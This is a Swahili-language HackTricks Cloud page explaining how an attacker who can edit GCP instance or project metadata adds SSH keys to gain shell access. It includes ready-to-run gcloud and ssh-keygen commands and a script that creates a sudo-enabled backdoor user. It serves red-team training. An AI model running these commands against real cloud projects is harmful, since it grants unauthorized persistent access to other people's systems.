GCP - Ongeza Metadata ya SSH ya Kijadi
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Kubadilisha metadata
Kubadilisha metadata kwenye mfano kunaweza kusababisha hatari kubwa za usalama ikiwa mshambuliaji atapata ruhusa zinazohitajika.
Kuunganisha Funguo za SSH kwenye Metadata ya Kijadi
Katika GCP, mifumo ya Linux mara nyingi inatekeleza skripti kutoka kwenye Python Linux Guest Environment for Google Compute Engine. Sehemu muhimu ya hii ni accounts daemon, ambayo imeundwa ili kuangalia mara kwa mara mwisho wa metadata ya mfano kwa sasisho la funguo za umma za SSH zilizoidhinishwa.
Hivyo, ikiwa mshambuliaji anaweza kubadilisha metadata ya kijadi, anaweza kufanya daemon ipate funguo mpya za umma, ambazo zitawekwa na kuunganishwa kwenye mfumo wa ndani. Funguo hiyo itaongezwa kwenye faili ya ~/.ssh/authorized_keys ya mtumiaji aliye tayari au labda kuunda mtumiaji mpya mwenye ruhusa za sudo, kulingana na muundo wa funguo. Na mshambuliaji ataweza kuathiri mwenyeji.
Ongeza funguo ya SSH kwa mtumiaji mwenye ruhusa
- Chunguza Funguo za SSH Zilizopo kwenye Mfano:
- Tekeleza amri ya kuelezea mfano na metadata yake ili kupata funguo za SSH zilizopo. Sehemu inayohusiana katika matokeo itakuwa chini ya
metadata, hasa funguo yassh-keys.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Angalia muundo wa funguo za SSH: jina la mtumiaji linatangulia funguo, likitenganishwa na alama ya koloni.
- Andaa Faili ya Teksti kwa Metadata ya Funguo za SSH:
- Hifadhi maelezo ya majina ya watumiaji na funguo zao za SSH zinazohusiana kwenye faili ya maandiko iitwayo
meta.txt. Hii ni muhimu kwa kuhifadhi funguo zilizopo wakati wa kuongeza mpya.
- Unda Funguo Mpya ya SSH kwa Mtumiaji Lengo (
alicekatika mfano huu):
- Tumia amri ya
ssh-keygenkuunda funguo mpya ya SSH, kuhakikisha kuwa uwanja wa maoni (-C) unalingana na jina la mtumiaji lengo.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Ongeza funguo mpya ya umma kwenye
meta.txt, ukifanana na muundo ulio katika metadata ya mfano.
- Sasisha Metadata ya Funguo za SSH za Mfano:
- Tumia metadata ya funguo za SSH iliyosasishwa kwenye mfano kwa kutumia amri ya
gcloud compute instances add-metadata.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- Fikia Mfano kwa Kutumia Funguo Mpya ya SSH:
- Unganisha kwenye mfano kwa SSH ukitumia funguo mpya, ukifikia shell katika muktadha wa mtumiaji lengo (
alicekatika mfano huu).
ssh -i ./key alice@localhost
sudo id
Unda mtumiaji mpya mwenye ruhusa na ongeza funguo ya SSH
Ikiwa mtumiaji yeyote wa kuvutia hakupatikana, inawezekana kuunda mpya ambayo itapewa ruhusa za sudo:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
SSH keys at project level
Inawezekana kupanua ufikiaji wa SSH kwa Mashine nyingi za Kivirtuali (VMs) katika mazingira ya wingu kwa kutumia funguo za SSH katika kiwango cha mradi. Njia hii inaruhusu ufikiaji wa SSH kwa mfano wowote ndani ya mradi ambao haujazuia wazi wazi funguo za SSH za mradi. Hapa kuna mwongozo wa muhtasari:
- Tumia Funguo za SSH katika Kiwango cha Mradi:
- Tumia amri
gcloud compute project-info add-metadatakuongeza funguo za SSH kutokameta.txtkwenye metadata ya mradi. Kitendo hiki kinahakikisha kwamba funguo za SSH zinatambulika katika VMs zote ndani ya mradi, isipokuwa VM ambayo ina chaguo la "Block project-wide SSH keys" limewezeshwa.
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- SSH kwenye Mifano kwa Kutumia Funguo za Kiwango cha Mradi:
- Pamoja na funguo za SSH za kiwango cha mradi, unaweza SSH kwenye mfano wowote ndani ya mradi. Mifano ambayo haizuia funguo za kiwango cha mradi itakubali funguo za SSH, ikitoa ufikiaji.
- Njia moja ya moja ya SSH kwenye mfano ni kutumia amri
gcloud compute ssh [INSTANCE]. Amri hii inatumia jina lako la mtumiaji wa sasa na funguo za SSH zilizowekwa katika kiwango cha mradi kujaribu ufikiaji.
References
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud